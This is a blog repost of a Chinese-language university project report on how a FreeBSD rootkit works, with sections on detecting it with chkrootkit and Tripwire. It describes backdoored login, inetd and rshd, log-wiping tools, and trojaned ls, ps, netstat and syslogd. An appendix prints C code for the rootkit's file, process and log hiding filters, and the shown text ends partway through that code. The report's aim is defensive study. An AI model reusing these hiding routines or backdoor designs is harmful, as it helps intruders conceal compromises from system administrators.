Thursday, September 10, 2009

關於 FreeBSD 入侵工具的介紹跟偵測工具

This is the html version of the file http://www.iecs.fcu.edu.tw/upload/paper_uni/912pdf/910237.pdf.

Google automatically generates html versions of documents as we crawl the web.

Page 1

0

逢 甲 大 學

資 訊 工 程 學 系 專 題 報 告

FreeBSD rootkit 工 作 原 理 研 究



生:林廷彥﹙四丙﹚

指導教授: 劉振緒

中華民國九十二年四月

Page 2

1

目錄

圖表目錄……………………………………………………………………………...2

第一章

專題導論………………………………………………………………….3

1.1 前言……………………………………………………………..3

1.2 研究簡介………………………………………………………..3

1.3 報告架構………………………………………………………..3

第二章

rootkit 介紹……………………………………………………………...5

2.1 什麼是 rootkit…………………………………………………...5

2.2 rootkit 主要的使用目的………………………………………..5

2.3 rootkit 包含的功能……………………………………………..6

2.3.1 工具程式………………………………………………..6

2.3.2 特洛依木馬程式………………………………………..7

2.3.3 竄改過的系統程式……………………………………..7

第三章

系統檔案介紹……………………………………………………………..9

3.1 系統記錄檔……………………………………………………...9

3.2 記憶體………………………………………………………….12

3.2.1 mem、kmem………………………….………………12

3.2.2 kvm……………………………….…………………...12

第四章

rootkit 各項功能工作原理說明………………………………………...13

4.1 工具程式……………………………………………………….13

4.2 特洛依木馬程式……………………………………………….14

4.3 竄改過的系統程式………………………………………….…15

第五章

偵測 rootkit 的工具程式…………………………………………...…18

5.1 chkrootkit………………………………………………..……..18

5.2 tripwire………………………………………………..………..19

第六章

心得報告………………………………………………………………..20

參考資料………………………………………………………………………..……21

附錄

竄改系統程式之核心程式碼…………………………………...……….22

﹙A﹚適用 du、ls 之程式碼……………………………………………22

﹙B﹚適用 ps、top 之程式碼………………………………………….23

﹙C﹚適用 syslogd 之程式碼………………………….………….……25

﹙D﹚適用 netstat 之程式碼………………………………………..….26

﹙E﹚上述程式碼之共同宣告………………………………………....28

﹙F﹚上述程式碼之說明…………………………………………..…..28

Page 3

2

圖表目錄

圖 3.1.1 utmp.h 檔案內容…………………………………………………………..9

圖 3.1.2 系統紀錄檔紀錄流程簡圖……………………………………………….11

圖 4.2.1 簡易正常登入流程圖…………………………………………………….14

圖 4.2.2 簡易竄改後登入流程圖…………………………………………….……15

圖 4.3.1 正常系統程式運作流程圖………………………………………………..16

圖 4.3.2 竄改後的系統程式運作流程圖…………………………………………..17

表3.1.1 wtmp檔案紀錄欄位……………………………………………………….10

表3.1.2 utmp檔案紀錄欄位………………………………………………………..10

表 3.1.3 lastlog 檔案紀錄欄位…………………………………………….………..10

表 4.1 工具程式之比較……………………………………………………….…..13

表.4.2 預設 rootkit 預設清單……………………………………………………..15

表 5.1.1 chkrootkit 可以偵測到之 rootkit 列表…………………………………….19

表 5.1.2 chkrootkit 主要檢查之系統程式…………………………………………..19

Page 4

3

第一章 專題導論

1.1 前言

今日,網路已經成為每個人日常生活中不可缺少的一部分。雖然大部分使用

者對於網路的使用已經有了比較安全的使用方法,但是,網路犯罪卻不減反增。

甚至有一些無辜的使用者在不知情的情況下,成為網路犯罪者的代罪羔羊---被犯

罪者當成跳板來利用。尤其在寬頻網路普及率日益增高的情況下,更吸引了犯罪

者利用這些連接到寬頻網路上的主機,來當做跳板的慾望。現今,幾乎所有的的

網路犯罪者攻擊的前置作業,就是找出可以讓調查人員不容易找到自己真正所在

的跳板。一般來說,這些跳板主機都會被植入後門程式,以方便攻擊者日後進入

使用。

有鑑於此,我就針對常被用來植入跳板主機中用來建立後門並且掩蓋自己行

蹤的程式集---rootkit 來作一研究,希望讓更多人認識了解此類駭客工具的運作

原理,並加以防範,減少被利用的機會。

1.2 研究簡介

此次研究中我所選擇的工作環境為 FreeBSD 4.6,所使用的 rootkit 版本,

為原作者針對 FreeBSD 2.2 所開發出來。但是,因為作業系統版本的更新,該

版本 rootkit 並無法正常在新版的作業系統下編譯運行。經過修改之後,可以在

FreeBSD 4.6 下正常運行。因為 rootkit 為一工具程式集,其中所包含的功能可

以根據個人需要進行修改。因此,在這次的研究當中,僅針對最基本的功能來進

行研究。這些基本功能在每一套 rootkit 上都會包含,差別只在於功能的些微變

化。以功能論,可以說每一套 rootkit 就是此一 rootkit 的延伸變化。而如果針

對上述基本功能加以防範的話,也可以將偵測出被植入 rootkit 的機率大幅的提

升。

1.3 報告架構

本篇報告共分為六大章。第二章對 rootkit 作一介紹,並針對其功能作一功

能性介紹。第三章對 rootkit 所使用到之作業系統檔案部分作一說明。第四章對

此版本 rootkit 內部各項功能,包含:竄改後之系統程式、特洛依木馬程式、以

Page 5

4

及工具程式之運作原理作完整說明。第五章對如何防治 rootkit 作一簡單介紹。最

後的第六章是我在此一研究的心得。

Page 6

5

第二章 rootkit 介紹

在本章中先帶領大家認識 rootkit,了解 rootkit 是什麼樣的程式,有什麼功

能,以及在進行網路攻擊時所扮演的角色為何。

2.1 什麼是 rootkit

rootkit 有部分人士誤認為這是一套可以讓攻擊者取得特殊權限的攻擊程

式,其實不然。如同他的字面意義, rootkit 指的是一套程式集,裡面包含了特

洛依木馬程式、工具程式、以及可以隱藏攻擊者行蹤的程式。上面提到的工具程

式指的是方便入侵者進行他想要進行的動作的程式。

由於是屬於程式集,因此也代表著擁有彈性。使用者可以根據自身的需要來

修改 rootkit 的功能,例如:增加或刪除某些功能。甚至於當其中部分功能可能

因為系統的更新,或是管理者無意間修改了其所利用的 bug,而造成無法運作的

情形,只要針對該部分進行修改,即可繼續運作。也因為如此的彈性,從 rootkit

出現至今,技術發展非常迅速,應用越來越廣泛,偵測困難度也越來越大。

目前世界上比較廣為使用的作業系統,如:*NIX、Windows NT 都有針對其

所發展出來的 rootkit。而在 *NIX 系統下運作的 rootkit ,運作原理大致上都是

一樣的。但是,因為其散佈方式幾乎都是透過原始碼進行,因此,改良的速度也

非常的快速。而且越多使用者的 *NIX,如:Linux、SunOS,針對這兩個家族所

發展出來的 rootkit 版本更是驚人。

2.2 rootkit 主要的使用目的

當一位惡意使用者成功入侵目標主機,除了他的目的是癱瘓或是破壞該主機

之外,否則為了安全起見,首要目標就是抹掉他入侵系統的相關紀錄,以及隱藏

自身的行蹤。rootkit 的主要用途,就是提供入侵者達到上述目的。甚至於,大多

數的 rootkit 還提供了竊取密碼、監聽網路流量、建立後門的程式。由此看來,

若一系統被植入 rootkit,一般的管理者將不容易發現所管理的系統已經遭到入

侵,細心一點的管理者或許能察覺出系統怪怪的,但是也不知道哪裡出了問題。

但是對於入侵者而言,他卻可以輕易的控制系統,取得他想取得的資訊,而且通

行無阻。

Page 7

6

因此,rootkit 的主要功能,就是修改紀錄、隱藏蹤跡、竊取密碼、以及建立

方便日後進出之後門。

2.3 rootkit 包含的功能

在此研究中所使用的 rootkit 包含功能可以區分為:工具程式、特洛依木馬

程式、以及竄改過的系統程式三大類型:

2. 3. 1 工具程式:

工具程式,主要是提供一些非系統內建的功能,方便入侵者進行他所需要進

行,以掩飾自己行蹤的工具。這些工具包括:日誌修改程式、封包偵測攔截程式

以及修改 timestamp 和 checksum 的程式。

以下為對這些工具程式所作的功能性說明:

﹙1﹚ addlen:

此程式功能為附加“0”到檔案結尾,以增加檔案長度。此一行為並

不會對檔案本身造成傷害,而且還可以避過一些檢查檔案長度的安全偵測

軟體。

﹙2﹚ fix:

此程式功能為依照原來的程式的 timestamp 和 checksum,將竄改後

的程式的 timestamp 和 checksum 偽造成和原來系統中的程式一樣。

﹙3﹚ sniffit:

此程式可以鎖定單一主機來截取所需要的封包,也可以針對某一特

定連接埠來擷取封包,甚至於還可以自訂過濾規則來取得所需要的封包。

﹙4﹚ marry:

此為一功能強大之系統紀錄檔修改程式,可以針對 wtmp、utmp、

lastlog 檔案進行編輯修改,達到隱藏使用者紀錄的目的。

Page 8

7

2. 3. 2 特洛依木馬程式:

特洛依木馬程式,也就是一般所謂的後門程式,主要功能為替遠端使用者提

供一方便進出之登入管道,不需要和一般使用者一樣,經過系統正常登入管道登

入。甚至,透過這些由特洛依木馬程式所提供的後門登入系統,便可以直接取得

管理者權限。在此版本的 rootkit 中,有些被修改過的系統程式,如:login、inetd

等,因為提供了方便入侵者可以遠端登入的後門,因此,我將其歸類為後門程式

而不是被竄改過的系統程式。

以下為對這些特洛依木馬程式所作的功能性說明:

﹙1﹚ inetd:

此程式會監聽某個指定的連接埠﹙可以由入侵者在安裝時修改、指定﹚,

只要透過這個連接埠來登入系統,就可以擁有管理者權限。

﹙2﹚ bindshell:

此程式會將管理者介面﹙root shell﹚鎖定在指定的連接埠,主要是替

遠端攻擊者提供一個介面﹙shell﹚服務。

﹙3﹚ login:

此程式允許使用任何帳號搭配 rootkit 密碼來登入系統,而此密碼可

以由 ROOTKIT_MAGIC 自由設定。甚至,當透過此程式所提供的後門登

入的時候,還可以跳過系統的歷史記錄。

﹙4﹚ rshd:

透過此程式,可以在遠端以管理者權限來執行命令。例如:

rsh -l rootkitpassword host command 就可以在該 host 上,以管理者的

身分來執行所指定的命令。

2. 3. 3 竄改過的系統程式:

竄改過的系統程式,主要是為了隱藏入侵者的使用。這些竄改過的程式是大

部份系統管理者用來監控,是否有入侵者侵入的參考依據。一旦這些程式被竄

改,系統管理者除非是透過特殊工具程式,或是自身警覺心非常高,否則,將很

難察覺出已經被入侵了 。

Page 9

8

以下為對這些竄改過的系統程式所作的功能性說明有關更詳細的說明請參

考第四章:

﹙1﹚ du、ls:

被竄改過後的 du、ls 會隱藏特定的檔案或是資料夾,讓管理者難以發

覺有異常的檔案存在於系統中。而要隱藏的檔案清單,可以透過

ROOTKIT_HIDE_FILES 來指定儲存該清單的檔案位置所在。在此 rootkit 中

該檔案預設為/dev/ptyr。

﹙2﹚ ifconfig:

被竄改過後的 ifconfig,會在入侵者啟動 sniffer 等封包擷取工具時,

阻止 PROMISC 旗標的顯示,讓系統管理者難以發覺網路連接埠已經被

監聽擷取了。

﹙3﹚ netstat:

被竄改過後的 netstat 會隱藏經由特定位址、連接埠、或是特定路徑所

建立的連線,讓管理者難以發覺有異常的連線被建立。netstat 一樣有隱藏連

線清單,可以透過 ROOTKIT_HIDE_HOSTS 來指定儲存該清單的檔案位置

所在。在此 rootkit 中該檔案預設為/dev/ptyq。

﹙4﹚ ps、top:

被竄改過後的 ps、top 會過濾掉含有特定名稱的程序、或者是由特定

使用者、或者是特定終端機所執行的程序,讓管理者難以察覺有異常的程

序在執行。ps、top 也有記錄上述過濾清單的檔案,可以透過

ROOTKIT_HIDE_ PROCESSESS 來指定儲存該清單的檔案位置所在。在

此 rootkit 中該檔案預設為/dev/ptyp。

﹙5﹚ syslogd:

被竄改過後的 syslogd 會過濾掉包含某些字串的記錄,也就是說,當

某項紀錄裡面包含有特定字串,這項紀錄便不會被儲存到記錄檔中。和前

述幾項被竄改的系統功能一樣,syslogd 一樣有過濾清單,可以透過

ROOTKIT_HIDE_LOG 來指定儲存該清單的檔案位置所在。在此 rootkit 中

該檔案預設為/dev/ptys。

Page 10

9

第三章 系統檔案介紹

在本章中對 rootkit 所使用到,以及進行竄改的系統檔案作一介紹。因為

在某些特定系統檔案中,如記憶體檔案,我們只要針對其中少部份作修改即可

以達到隱藏蹤跡的效果。因此,介紹內容只針對 rootkit 所使用到的部分。

3.1 系統紀錄檔

在 FreeBSD 中主要使用 utmp、wtmp、lastlog 三個檔案來紀錄使用者資訊。

上述三個檔案在系統中的所在路徑如下:

/var/run/utmp

/var/log/wtmp

/var/log/lastlog

而上述三個檔案的資料記錄欄位的資料結構在 utmp.h 檔案中宣告如下

#define _PATH_UTMP

"/var/run/utmp"

#define _PATH_WTMP

"/var/log/wtmp"

#define _PATH_LASTLOG "/var/log/lastlog"

#define UT_NAMESIZE

16

#define UT_LINESIZE

8

#define UT_HOSTSIZE

16

struct lastlog {

time_t ll_time;

char

ll_line[UT_LINESIZE];

char

ll_host[UT_HOSTSIZE];

};

struct utmp {

char

ut_line[UT_LINESIZE];

char

ut_name[UT_NAMESIZE];

char

ut_host[UT_HOSTSIZE];

time_t ut_time;

};

圖 3.1.1 utmp.h 檔案內容

當使用者登入時,系統會根據使用者的 UID 來查詢 lastlog 檔案,若有搜尋

到該 UID 的紀錄,則輸出該使用者上次的登入資料。不論搜尋到該 UID 紀錄與

Page 11

10

否,都會紀錄該使用者此次的登入資料到 lastlog。

在 lastlog 紀錄使用者新資料之後,utmp 檔案便會開啟,並且該使用者的資

料也會被插入到 utmp 中。該資料會一直存在,直到該使用者登出。接著登入程

式會將 utmp 紀錄附加到 wtmp 紀錄中,當使用者登出之後,相同的 utmp 紀錄以

及更新 time stamp 也會紀錄到 wtmp。

在 wtmp 檔案中,儲存所有的登入、登出資訊,。因此可以利用這個日誌用

來查看使用者的登錄記錄,last 命令就透過存取 wtmp 來獲得所需資訊。主要紀

錄的資訊如下所示:

紀錄編號

使用者名稱

終端機型態 紀錄產生時間

連線位址

00000

admin

ttyp0

1030303132418 192.168.10.12

00001

""

ttyp0

1030303134846

""

表 3.1.1 wtmp 檔案紀錄欄位

一次的正常登入、登出都會有兩個紀錄,一個為登入紀錄,一個為登出紀錄。另

外,wtmp 中還會紀錄系統開關機資訊,也就是開關機的時間。因為在隱藏蹤跡

時,一般並不需更改到此項訊息,因為安裝 rootkit 的主要目的,是為了方便進

入系統,並取得所需要的相關資訊,而不是使系統停擺。因此,在此不予說明。

在 utmp 檔案中,儲存的是目前系統用戶的登錄記錄,因此這個檔案會隨著

使用者登入和登出系統而一直變化。系統中需要查詢目前使用者狀態的命令,如

who、w 就需要存取這個檔案。主要紀錄的資訊如下所示:

紀錄編號

使用者名稱

終端機型態 紀錄產生時間

連線位址

00000

admin

ttyp0

1030303132418 192.168.10.12

00001

""

ttyp1

1030303134846

""

表 3.1.2 utmp 檔案紀錄欄位

編號 00000 的紀錄欄位,紀錄的是目前在線上的使用者。而編號 00001 的紀錄欄

位則是已經登出的使用者資訊。

在 lastlog 檔案中,保存的是每個使用者的最後一次登錄資訊,包括登錄時

間和地點。主要紀錄的資訊如下所示:

紀錄編號

(十六進制)

紀錄編號

(十進制)

終端機型態 紀錄產生時間

連線位址

003e8

01000

ttyp0

1030303132418 192.168.10.12

表 3.1.3 lastlog 檔案紀錄欄位

Page 12

11

根據圖 3.1.1、表 3.1.3、表 3.1.3、以及表 3.1.3 以及上述三個表所作的說明,

我們可以發現其實 utmp、wtmp、lastlog 三個檔案的記錄內容其實非常的相近。

尤其 utmp 和 wtmp,可以說是一樣的。至於,爲什麼要把相似的記錄檔分成三份,

可能的原因,應該是為了在不同的系統運作階段,提供給不同的系統程式來呼叫

使用。

根據我們所需要更改以隱藏自己蹤跡的資訊,可以將一系列的存取 lastlog、

utmp、wtmp 的步驟以下列流程圖說明:

登入

紀錄此次登入資訊

到 lastlog

開啟 utmp

開啟 wtmp 並加入

utmp 紀錄

登出

紀錄資訊到 wtmp

圖 3.1.2 系統紀錄檔紀錄流程簡圖

Page 13

12

3.2 記憶體

3.2.1 mem、kmem:

/dev/mem 為實體記憶體﹙physical memory﹚之處理介面,讀寫

/dev/mem 就等於讀寫實體記憶體,因此,一般使用者連讀該檔案的權限

都沒有。在存取/dev/mem 時必須透過位元組移位﹙byte offset﹚來當成

實體記憶體位址,而且,只有 offset 才被允許。

/dev/kmem 則用來處理 kernel virtual memory,透過和存取/dev/mem

一樣的方法。因為 FreeBSD 並沒有將所有的實體記憶體都 map 到

/dev/kmem 上,因此,目前只有 mapped 到記憶體的 kernel virtual memory

才被允許存取。

在 rootkit 中,並不會直接對上述兩個檔案進行存取,而是透過 kvm

函式庫所提供的函式來存取所需要的資訊。

3.2.2 kvm:

kvm 代表的是 kernel memory interface。kvm 函式庫提供一個統一的

存取介面,可以存取 kernel virtual memory images,包括 live systems 和

crash dumps。如果要存取 live systems,必須經由 /dev/mem 和/dev/kmem。

透過/dev/mem 和/dev/kmem 還可以取得 user process 的資訊。

在 kvm 函式庫的使用上,kvm_openfiles()函式必須第一個被呼叫,在

開啟/dev/mem 和/dev/kmem 之後,傳回須傳遞給其他函式庫函式的資訊。

應用程式有時需要一些系統的資訊,如 swap 的使用、虛擬記憶體的使

用、CPU 的使用等等,這些資訊須使用 kvm() 函式庫以便直接讀取核心

的記憶體,並收集資訊。

kvm()函式庫在 rootkit 中的主要應用為下列幾個:

kvm_openfiles()-啟始整個 kvm()函式庫的存取。

kvm_read()-讀取 kernel virtual memory。

kvm_write()-寫入 kernel virtual memory。

kvm_getprocs()-處理 user process 的狀態。

kvm_getfiles()-檢視有多少程序在指定的記憶體中。

Page 14

13

第四章 rootkit 各項功能工作原理說明

和第二章一樣,本章依舊將 rootkit 分成三大部分來做說明。在本章中主要

介紹在本 rootkit 中竄改過的系統程式,說明如何動手腳,讓該程式能產生出和

原來程式不一樣的結果。至於工具程式方面,則側重於:為何選擇使用這個工具

程式,以及該在什麼時候使用。

4.1 工具程式:

addlen、fix:

在編譯我們想更動的系統程式之前,必須先編譯這兩個程式,為的是先取得

正常狀態下之系統程式相關資料。比如:timestamp 和 checksum,還有檔案大小。

接著再編譯我們動過手腳的系統檔案,如此才可以偽造出和原來一樣的相關資

訊。

marryv11:

抹掉或是修改系統當中的記錄檔是一件非常重要的工作,缺少了這個步驟,

不管再高明的入侵技術,總有一天,都會因為這個記錄檔而抓出入侵者。在比較

過 clear 以及 marryv11 兩個抹除記錄檔的工具之後,由於 marryv11 可以呼叫出

文書編輯系統來編輯記錄檔,可以對整個記錄檔有較全面的了解,因此選擇此程

式來作為此 rootkit 抹除記錄檔的工具。

clear.a&clear.b

marryv11

刪除紀錄後看不出

痕跡(有些工具會以

特殊符號取代原來

欄位)





可以針對單一使用

者進行修改





可以針對紀錄中之

字串進行修改





可以呼叫文書軟體

進行編輯





表 4.1 工具程式之比較

Page 15

14

4.2 特洛依木馬程式:

inetd、rshd:

inetd、rshd 原先也是系統程式的一員,但是,由於在 rootkit 中對其修改,

並加入可以由遠端開啟 shell 的功能,因此,將其歸類為特洛依木馬程式。這兩

個程式的運作原理都一樣,皆是在原來的程式碼中加入一個檢查機制,當啟動的

關鍵字串跟在這兩個系統命令之後被當成輸入字串,如:在 rootkit 中被設定的

rootkit 密碼,則會開啟 root shell。

bindshell:

bindshell 是在 socket 程式中加入鎖定某通訊埠的功能 (bind port) ,只要在

連線到系統的時候,是以這個鎖定的通訊埠進入的時候,你所使用的 shell 就會

是 root shell。

login:

被更改過的 login 登入程式,加入一個密碼檢查程式,會在每個使用者登入

的時候檢查該使用者所輸入的密碼,如果該輸入密碼為 rootkit 密碼則可以直接登

入。也就是說,只要搭配上 rootkit 密碼,你可以以任何以存在的帳號登入該系統。

底下為登入流程的簡易流程圖:

登入

輸入帳號密碼

檢查是否合法





登入失敗

登入成功

圖 4.2.1 簡易正常登入流程圖

Page 16

15

登入

輸入帳號密碼

檢查是否為

rootkit 密碼





檢查是否合法





登入失敗

登入成功

圖 4.2.2 簡易竄改後登入流程圖

4.3 竄改過的系統程式:

被竄改的系統程式當中,在此版本的 rootkit,主要都是使用過濾器的方法來

改變原來的系統程式的功能。也就是利用一份過濾清單,裡面記錄所要過濾的字

串,只要該系統程式的輸出結果中包含了該字串,則該輸出自串便不會被顯示出

來。包括了:du、ls、ps、top、netstat、以及 syslogd 都是根據此原理來更改原

先的功能,來矇騙系統管理者。這份過濾清單可以根據我們的需要自行修改其內

容,而不同的系統程式則使用不同的過濾清單。

底下是可以預設為此份 rootkit 的過濾清單:

系統命令

清單檔案









du、ls

/dev/ptyr

ptyr、ptyp、ptyq、ptys、rootkit

ps、top

/dev/ptyp

p0、sniffer

netstat

/dev/ptyq

140.134、140.134.4.20

syslogd

/dev/ptys

140.134.4.20、rootkit.com、rshd

Page 17

16

表.4.2 預設 rootkit 預設清單

系統的預設過濾清單檔案路徑如下:

#define ROOTKIT_HIDE_FILES

"/dev/ptyr"

#define ROOTKIT_HIDE_PROCESSES "/dev/ptyp"

#define ROOTKIT_HIDE_HOSTS

"/dev/ptyq"

#define ROOTKIT_HIDE_LOG

"/dev/ptys"

相同的,我們也可以更改過濾檔案的所在位置,只是放在/dev 目錄底下比較難以

引起注意。

底下是

系統運作流程圖

以及

竄改後的系統程式的運作流程圖

,因為 du、ls、

ps、top、netstat 以及 syslogd 的運作原理都是一樣的,因此,我將他們放在一起

說明:

執行系統程式

取得系統程式

呼叫參數

根據參數透過函式庫

取得相關資訊

列印出資訊

系統程式結束

圖 4.3.1 正常系統程式運作流程圖

Page 18

17

執行系統程式

取得系統程式

呼叫參數

載入過濾清單

根據參數透過函式庫

取得相關資訊

根據過濾清單

過濾取得的資訊

列印出資訊

系統程式結束

圖 4.3.2 竄改後的系統程式運作流程圖

由以上兩個圖可以很輕易的發現,過濾器,就是在原先系統將要列印出所取

得的資訊之前,將資訊過濾,過濾掉我們所指定的過濾項目,再將剩下的資訊列

印出來,藉此達到矇騙管理者的目的。

ifconfig:

Page 19

18

第五章 偵測 rootkit 的工具程式

雖然 rootkit 不斷的一直更新發展,不過也有組織發展偵測 rootkit 的工具軟

體。雖然,一套作業系統被安裝了 rootkit 代表著已經被入侵,不過,如果我們

可以越早得知被安裝了 rootkit,而越早做出補救的措施,也可以將我們的損害減

至最低。以下介紹兩套功能較完善的 rootkit 偵測程式:

5.1 chkrootkit

目前最新版本- chkrootkit V. 0.40

適用作業系統- Linux 2.0.x, 2.2.x and 2.4.x

FreeBSD 2.2.x, 3.x and 4.x

OpenBSD 2.6, 2.7, 2.8, 2.9, 3.0, 3.1 and 3.2

NetBSD 1.5.2

Solaris 2.5.1, 2.6 and 8.0

HP-UX 11 and True64

可偵測到之 rootkit-

01. lrk3, lrk4, lrk5, lrk6

(and variants);

02. Solaris rootkit;

03. FreeBSD rootkit;

04. t0rn (and variants);

05. Ambient's Rootkit

(ARK);

06. Ramen Worm;

07. rh[67]-shaper;

08. RSHA;

09. Romanian rootkit;

10. RK17;

11. Lion Worm;

12. Adore Worm;

13. LPD Worm;

14. kenny-rk;

15. Adore LKM;

16. ShitC Worm;

17. Omega Worm;

18. Wormkit Worm;

19. Maniac-RK;

20. dsc-rootkit;

21. Ducoci rootkit;

22. x.c Worm;

23. RST.b trojan;

24. duarawkz;

25. knark LKM;

26. Monkit;

27. Hidrootkit;

28. Bobkit;

29. Pizdakit;

30. t0rn v8.0;

31. Showtee;

32. Optickit;

33. T.R.K;

34. MithRa's Rootkit;

35. George;

36. SucKIT;

37. Scalper;

38. Slapper A, B, C and D; 39. OpenBSD rk v1;

40. Illogic rootkit;

41. SK rootkit.

42. sebek LKM;

Page 20

19

43. Romanian rootkit;

44. LOC rootkit;

45. shv4 rootkit;

46. Aquatica rootkit;

47. ZK rootkit;

表 5.1.1 chkrootkit 可以偵測到之 rootkit 列表

主要檢查項目-

basename

biff

chfn

chsh

cron

date

dirname

du

echo

env

find

fingerd

gpm

grep

identd

ifconfig

inetd

killall

login

ls

mail

mingetty

netstat

passwd

pidof

ps

rshd

sshd

su

syslogd

tar

tcpd

telnetd

timed

top

traceroute

write

表 5.1.2 chkrootkit 主要檢查之系統程式

除了檢查系統程式之外,chkrootkit 也檢查 lastlog 和 wtmp 是否遭到修改檢查。

另外也可以定期前往 http://www.chkrootkit.org/ 檢查是否有更新版的 chkrootkit 可

供下載使用。

5.2 Tripwire

tripwire 和 chkrootkit 不一樣,他不是透過特定的攻擊特徵來偵測出是否遭到

攻擊,而是監視和檢查所使用系統的變化也就是說。tripwire 會對原來的檔案進

行運算,取得一特定的檢查函數。tripwire 提供許多演算法如 MD5 / Snefu / SHA

等,只要入侵者對已經被建立了檢查函數的檔案進行修改,即使是檔案大小不

變,也會破壞該檢查函數。只要檢查出遭疑似遭到修改,tropwire 便會通知管理

者。

Tripwire 並不是專門為了偵測 rootkit 而發展出來的偵測軟體,只是他的功能

剛好可以用來針對更改檔案,並偽造檔案紀錄這點進行偵測。因此,將他列為可

以偵測出是否遭到安裝 rootkit 的偵測工具。

Page 21

20

第六章 心得報告

以前在網路上的討論區,曾經看過有人批評 rootkit 是一些想當駭客卻又不

懂得電腦的小毛頭所使用的低級軟體。經過這份專題後我才發現,要自行開發出

一份 rootkit 需要對所要安裝的目標作業系統有一定的瞭解,比如:系統記錄檔

以及如何修改原有的系統程式。雖然在網路上也可以找到許多適用於不同作業系

統的 rootkit,但是大部分仍需要對其做修改,才可以正確無誤的運用。況且,經

過細心組合規劃的 rootkit 其危險性之高,實在是難以估計。因此,我認為能將

rootkit 運用的好的人絕對不是那些什麼都不懂的小毛頭。相反的,rootkit 如果落

到聰明的入侵者手上,將會成為系統安全的一大隱憂。

在進行這份專題的過程當中,經由 劉振緒老師的指導還有 鍾宜勳學長的指

導,讓我學到很多以前都不懂的事情。比如:如何能有效的從網路上找到自己所

需要的參考資料,以及如何說明自己想呈現出來的成果。另外,最重要的,經由

這份專題,我接觸到了以往不曾接觸過的有關系統核心方面的知識。例如:ps

是如何取得運行中的程序的相關資料、netstat 是如何取得相關的網路連線情形等

等系統程式運作的原理。而且,因為以往使用微軟系列作業系統所養成的不良習

慣,如果遇到系統不正常的狀況,也不會花太多心思去留意,總是認為是系統的

暫時故障。現在卻不一樣了,當遇到系統所呈現出來的功能有問題時,第一個反

應我是不是被入侵了。雖然這樣好像有點草木皆兵的感覺,但是身為一個系統管

理者,隨時對自己所管理的系統保持著高度的注意是應該的。

現在有些 rootkit 所採用的方法是更先進的,例如:直接替換掉系統的函式

庫,或是採用核心模組﹙kernel module﹚的方式來運作。有了這份專題的知識經

驗,對我日後往這些類型的 rootkit 的鑽研,也已經奠定了一定的基礎。

Page 22

21

參考資料:

1.THE UNIX OPERATING SYSTEM,

作者:Kaare Christan and Susan Richter WILEY 出版

2.UNIX 與 INTERNET 安全防護-系統篇,

譯者:陳志昌林逸文蔣大偉 O’REILLY 出版

3.The Complete FreeBSD

作者:Greg Lehey

Walnut Creek CDROM 出版

4. http://packetstorm.linuxsecurity.com/

取得 rootkit 原始程式碼

5.

http://www.chkrootkit.org/

取得偵測 rootkit 之工具程式 chkrootkit

6. http://www.tripwire.org/

取得偵測 rootkit 之工具程式 tripwire

Page 23

22

附錄:竄改系統程式之核心程式碼

﹙A﹚適用

du、ls 之程式碼

inline file_block_list()

{

char LSCONF[10];

LSCONF[0]=ROOTKIT_HIDE_FILES[0];

LSCONF[1]=ROOTKIT_HIDE_FILES[1];

LSCONF[2]=ROOTKIT_HIDE_FILES[2];

LSCONF[3]=ROOTKIT_HIDE_FILES[3];

LSCONF[4]=ROOTKIT_HIDE_FILES[4];

LSCONF[5]=ROOTKIT_HIDE_FILES[5];

LSCONF[6]=ROOTKIT_HIDE_FILES[6];

LSCONF[7]=ROOTKIT_HIDE_FILES[7];

LSCONF[8]=ROOTKIT_HIDE_FILES[8];

LSCONF[9]='\0';

h_tmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list=h_tmp;

if(fp_hack=fopen(LSCONF, "r")) {

while(fgets(tmp_str, 126, fp_hack)) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));

strcpy(h_tmp->filename, tmp_str);

h_tmp->filename[strlen(h_tmp->filename)-1]='\0';

h_tmp=h_tmp->next;

}

}

h_tmp->next=NULL;

}

inline int check_file(char *fpath)

{

for(h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)

if(strstr(fpath, h_tmp->filename))

return(1);

return(0);}

Page 24

23

﹙B﹚適用

ps、top 之程式碼

inline process_block_list()

{

char PSCONF[10];

PSCONF[0]=ROOTKIT_HIDE_PROCESSES[0];

PSCONF[1]=ROOTKIT_HIDE_PROCESSES[1];

PSCONF[2]=ROOTKIT_HIDE_PROCESSES[2];

PSCONF[3]=ROOTKIT_HIDE_PROCESSES[3];

PSCONF[4]=ROOTKIT_HIDE_PROCESSES[4];

PSCONF[5]=ROOTKIT_HIDE_PROCESSES[5];

PSCONF[6]=ROOTKIT_HIDE_PROCESSES[6];

PSCONF[7]=ROOTKIT_HIDE_PROCESSES[7];

PSCONF[8]=ROOTKIT_HIDE_PROCESSES[8];

PSCONF[9]='\0';

h_tmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list=h_tmp;

if(fp_hack=fopen(PSCONF,"r")) {

while(fgets(tmp_str, 126, fp_hack)) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));

strp=(char *)strtok(tmp_str, SEP_CHAR);

h_tmp->hack_type=atoi(strp);

strp=(char *)strtok('\0', SEP_CHAR);

strcpy(h_tmp->hack_cmd, strp);

h_tmp=h_tmp->next;

}

}

h_tmp->next=NULL;

}

inline int check_process(struct kinfo_proc *kip)

{

int block=0;

dev_t dev;

char *ttname;

Page 25

24

for(h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) {

switch(h_tmp->hack_type) {

case BY_USER:

#ifndef NEWVM

if(kip->kp_proc.p_uid==atoi(h_tmp->hack_cmd))

#else

if(kip->kp_eproc.e_ucred.cr_uid==atoi(h_tmp->hack_cmd))

#endif

block=1;

break;

case BY_TTY:

dev=kip->kp_eproc.e_tdev;

if(dev==NODEV||!(ttname=devname(dev,S_IFCHR)))

break;

else {

if(!strncmp(ttname,"tty",3)||!strncmp(ttname,"cua",3))

ttname+=3;

if(!strcmp(ttname,h_tmp->hack_cmd))

block=1;

}

break;

case BY_NAME:

if(strstr(kip->kp_proc.p_comm,h_tmp->hack_cmd))

block=1;

break;

}

}

return(block);

}

Page 26

25

﹙C﹚適用

syslogd 之程式碼

inline log_block_list()

{

char FILENAME[10];

FILENAME[0]=ROOTKIT_HIDE_LOG[0];

FILENAME[1]=ROOTKIT_HIDE_LOG[1];

FILENAME[2]=ROOTKIT_HIDE_LOG[2];

FILENAME[3]=ROOTKIT_HIDE_LOG[3];

FILENAME[4]=ROOTKIT_HIDE_LOG[4];

FILENAME[5]=ROOTKIT_HIDE_LOG[5];

FILENAME[6]=ROOTKIT_HIDE_LOG[6];

